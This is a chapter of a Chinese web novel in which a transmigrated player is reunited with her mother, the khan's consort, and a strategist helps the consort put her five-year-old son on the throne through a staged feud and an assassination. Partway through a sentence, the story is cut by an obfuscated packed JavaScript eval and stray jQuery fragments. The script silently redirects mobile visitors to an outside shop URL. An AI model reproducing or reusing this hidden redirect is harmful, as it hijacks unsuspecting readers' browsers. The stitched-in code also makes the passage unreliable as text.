汗王妃几乎是跑过来的,然而到了Aglaya面前,她又猛然停住,努力压抑着自己翻涌的情绪。
“可能有些冒昧,可以让我看看你的肩膀吗?我女儿右肩处有一块月牙形的胎记。”
不愧是北戎汗王的后宫之主,在这种时候依然要求一个确认。
Aglaya闻言脑子一懵,她的确有这样一个胎记,但胎记下面还有块疤,是小时候被她现实世界里那个酒鬼爹喝多了拿玻璃杯砸的。这个世界的身份身上也有这样的东西吗?
没再等Aglaya反应,汗王妃已经上手了,吓得她还以为要穿帮。
然而下一秒,她一把抱住Aglaya,泪水喷涌而出。Aglaya僵在原地,抬起的手悬了半晌,最后才轻轻落到她背上。
“Aglaya,我的Aglaya,”汗王妃在她耳边一遍遍念着她的名字,语速飞快,“两千五百多天,快两天五百多天了,妈妈一直在找你...每一天我都在想着你的头发是不是长了,是不是长高了,是不是还那么爱顶嘴,你胎记下的这块疤除了我们谁也不知道,这是你小时候在海边玩耍的时候磕到的,你怕我骂,还拿妹妹的头巾裹着,一路滴着血跑回来,你记不记得?”
一段远去的记忆突然出现在Aglaya脑海中,波光粼粼的海面,被阳光晒热的石阶,海风里带着潮湿的咸味与隐约的花香,一个浅金色头发的女人蹲在石阶尽头的小屋门前,又生气又心疼的给她处理着伤口,更小的女孩趴在窗台边,手里攥着染了血的头巾大声抱怨。
“那个...妹妹呢。”她听见自己问。
庭院的水池里传来潺潺的流水声,葡萄叶擦过廊柱,沙沙声连绵不绝。汗妃松开她的肩膀,却仍紧紧牵着她的手,沉默了片刻才告诉Aglaya,她的妹妹在被转卖的途中染了重病,商队的人不愿为奴隶破费钱财救治,她没能活下来。
七年前,她的丈夫欠下重债,把妻女一并卖给了过境的商人。母女三人被就此拆散,汗妃辗转来到草原,被北戎的汗王买下。汗王对她十分珍爱,也遣人寻过两个孩子,最终只带回一则小女儿的死讯。
而Aglaya当时年纪小性子又烈,逃一次便挨一顿打,打完了还逃,商队也头疼不已把她转买了好几回,以至于后来再难查到线索。她在西域诸国间辗转了近五年,才被卖进大雍。
然后就是玩家Aglaya降临,接过了这具身体没走完的人生。
“殿下,进去说吧,一直站在这里也不是个事。”一个跟了汗王妃许久的老仆妇见几人就在庭院里傻站着,连忙建议道:“我已经吩咐人去准备晚宴了,给您远道而来的家人接风洗尘。”
“对对对,多准备些,再做个蜂蜜乳酪饼,Aglaya最喜欢这个。”汗王妃拉着Aglaya就往殿内走,老仆妇则为顾知微等人领路,也跟了上去。
众人在殿内依次落座。屏风后,一个约莫五岁的男孩探出脑袋。他眉眼更像北戎人,肤色却很白皙,盯着Aglaya看了一会儿,突然跑过来抱住她的腿,仰头望着他,奶声奶气的喊了声:“姐姐。”
Aglaya低头,有点被他忽闪的大眼睛萌到:“好可爱的小蛋糕呀,你是谁呀?”
“我叫乌尔扎。”男孩很有礼貌的行了个礼,又抑制不住对Aglaya的好奇:“你长的好像母妃,你是不是我姐姐?”
汗王妃见状也笑了,将小王子拉到身侧,摸着他的小脑袋,将他介绍给Aglaya。
一家人欢欢喜喜的聊了半天,才终于想起一边吃得正欢的几人。
王普:“不是,你们可以多聊会,这烤羊肉真绝了。”
Matt一把捂住他的嘴。
顾知微站起来向王妃行了个礼:“感谢您的款待,我们此来确是有要事相商。”
她在要事上加了重音,汗王妃立刻会意,她让人关上殿门,遣走所有下人,只留下了那个老仆妇。
顾知微把木匣放在矮桌上,给了Aglaya一个眼色,见她将小乌尔扎抱在怀里捂住了他的眼睛后,才掀开盒盖,露出阿勒真死后仍带着凶色的脸。
“这是我们的投名状,我来给王妃送个妙计,解决您的燃眉之急。”
汗王妃验看过首级的真假后,合上了匣子:“我很感谢你们救了我的女儿并把她带到我面前。你们提任何钱财方面的要求,我都可以满足。但我不会拿乌尔扎的性命冒险。”
汗王妃的意思很明白,她很感谢顾知微,但若涉及争储,她需要顾知微给出更多值得合作的证明。这已经比预想的好了很多,原本顾知微还准备了更多说服王妃的计划,现在有Aglaya这一层关系在,也算是省了不少麻烦。
“我们已经挑起阿勒真旧部对拓格尔的仇恨,这件事在所有人眼里,都是拓格尔做的。”顾知微指了指装着阿勒真首级的匣子,“不出三日,汗王妃便能看到阿勒真的余部前来向拓格尔发难,这对你来说会是绝佳的机会。我也有后续的计划,让你不用争,不用抢,他们就会把汗位送到乌尔扎面前。”
汗王妃低头沉思良久:“我没有很大的野心,我只想帮我的夫君看顾好他的子民。我很感谢你的帮助,但你想从我这里得到什么呢?我想先听听代价。”
汗王妃显然是个又智慧又冷静的女子,她不拒绝机会,但也保持着必要的谨慎。
顾知微想起进城以来看到的一切。
已经初具规模的街市,土石垒成的屋舍,城外零星开垦出的土地,还有那些明显带着西域风格的器物和织品。来自季衡的经验让她得以迅速整理这些画面透露出的信息,并在脑海中排列出最优解:“你给北戎带来的变化,显而易见。想来你也不希望乌尔扎将来只是成为一群匪盗的头领,靠劫掠为生。”
见汗王妃没有反驳,顾知微接着说道:“北戎有战马、牛羊、皮货,大雍有良种,茶叶,粮食、布匹、药材和无数丰富的物资可以交换。”
汗王妃有些意外,她刚才已经从Aglaya那里听说了一些他们现在的情况:“你只是想通商?我以为你想问我借人帮你起义呢。”
“设边市,开商路,你可以用进入边市交易的资格来巩固你对小部族首领的统治。谁听话谁就有钱赚,还能获得更丰富的物资,得到好处的自然会维护你的统治。而我这里,跟你要边市一半的税收和边境五十年的和平。”
汗王妃来了兴趣,她看了顾知微一会儿。“我只可以保证我和乌尔扎掌权期间的和平,我无法帮乌尔扎的后代做决定。”
顾知微看了眼粘着Aglaya撒娇的乌尔扎,轻笑道:“五十年后的雍地,也不会再是现在这幅怂样。当然,如果你们愿意追求和平,我们也不会贸然动武。”
合作谈的很顺利,汗王妃当晚就招来了早已私下归附她和乌尔扎的部落长老,将行动计划一一敲定。
***
第三日午后,城外卷起漫天黄尘。
阿勒真旧部披甲冲入王庭,抬着一具无头尸身直奔王帐,沿途高喊拓格尔弑弟夺位。拓格尔的人也堵在了王帐外,双方隔着数十步张弓拔刀,战马被激得连声嘶鸣。
汗王妃在这时走出王帐,喝止了这场冲突。她代病中的汗王下令将拓格尔禁足,以便审查阿勒真之死,也算是给其旧部一个交代。
拓格尔倒是十分配合,甚至主动交出佩刀。在他看来,就算汗王妃深受老汗王宠爱,又是给她建宫殿又是陪她种地的,但她不过是个西域奴隶出身。如今她做这般安排,无非是想趁老汗王未死,为她自己和幼子多换些筹码罢了。
他悠闲的躺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947074|212660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在自己的大帐里等着汗王妃来谈条件,但等来的却是用兜帽遮住了头脸的顾知微。
他以为她是汗王妃派来的,并不在意:“你主子不自己来?未免有点没诚意。”
顾知微并没跟他废话,脚下不停,转眼已经到了近前。她抽出先前从阿勒真亲兵手里缴来的刀,借着错身的势头一送,刀锋直没心口。
拓格尔低头看着胸前刀柄上熟悉的纹记,喉间涌出血沫。
“阿勒真的……人?”
“你可比你弟弟的警觉性差远了。”
【善值结算:诛杀恶首拓格尔,获得善值9。】
真不愧是兄弟俩,恶贯满盈的程度不相上下。
次日清晨,汗王咽下最后一口气,丧号响彻王庭。不多时,拓格尔的尸身也被侍从发现了,那柄带着阿勒真亲兵铭记的刀仍插在他胸口。
其实细细调查的话,还是可能被发现破绽的,顾知微也已暗暗备好了后招。但防不住阿勒真的旧部中已有人上杆子的出来认领,甚至欢呼庆祝起来。这一下就没啥可说的了,新仇旧恨之下两边都冲到王帐这里讨说法,脾气大的已经互殴了起来。
汗王妃看着门口的动静,回身看向顾知微:“你果然料事如神,那接下来,你打算怎么让他们把汗位送给乌尔扎?”
顾知微轻笑:“让你的长老建议,把汗位传给拓格尔的长子。”
会议上,长老的话一出,阿勒真旧部当场摔了酒碗。
“拓格尔害死了阿勒真王子,还想让他的种坐汗位?做梦!”
对面拓格尔的旧部冷笑:“阿勒真就干净了?!昨晚的账我们还没算呢!”
另一名亲阿勒真的首领连忙道:“阿勒真王子也有儿子,如何就不能即位呢?他已十五,能骑马能拉弓,将来也能领兵。”
“领谁的兵?”拓格尔旧部拍案而起,“领着阿勒真的人来干掉我们吗?”
两边越吵越凶。最后,一位白须长老皱着眉,颇有些走投无路的将目光缓缓落向站在汗王妃身边的乌尔扎。
五岁,没有自己的军队,母族又势单力薄。
真是安全得令人心动。
“各位稍安勿躁,要我说,大汗尚有幼子。”老人试探着开口,“同是大汗血脉,为何要越过他而立孙辈呢?”
帐中静了一瞬。
方才还恨不得立刻拔刀砍死彼此的两派将领,竟都没立刻反对。
这两边人马的底层逻辑都是怕对方的势力上位清算他们,现在突然有了个中立且看起来十分弱势的第三选择,众人一时间都心动不已。
汗王妃当即抱住乌尔扎开始表演:“不成!我们孤儿寡母的,只求安稳度日。乌尔扎太年幼了,怎能担此重任。”
这一下大家都开始主动附和那个白须长老的说法了,纷纷劝说汗王妃接受提议。她摇头,他们再劝。
直到第三次,阿勒真与拓格尔的旧部竟先后跪了下来,一个说愿护幼主,一个说绝无二心,彼此却死死盯住对方,手还按在刀柄上。
汗王妃终于含泪点头,并借势提了诸多要求,众人只当她是为了保护乌尔扎,自是无人拒绝。
当日下午,乌尔扎在老汗王灵前继承了汗位。
Aglaya看完全程,啧啧赞叹:“真带劲,我妈就该是这么牛逼的女子。”
顾知微轻笑着表示赞同。这次她不过是给出了策略,汗王妃就和她的拥簇们上演了一场完美的夺位大戏。她丝毫不怀疑即使没有自己的参与,汗王妃也有她的办法将王位赋予乌尔扎,只是多一点曲折罢了。在这样的世界里,她这样熠熠生辉的女性政治家很难不让人佩服。
王帐外,象征新汗的大纛已经高高升起。
北戎的麻烦解决了。
接下来,该轮到大雍了。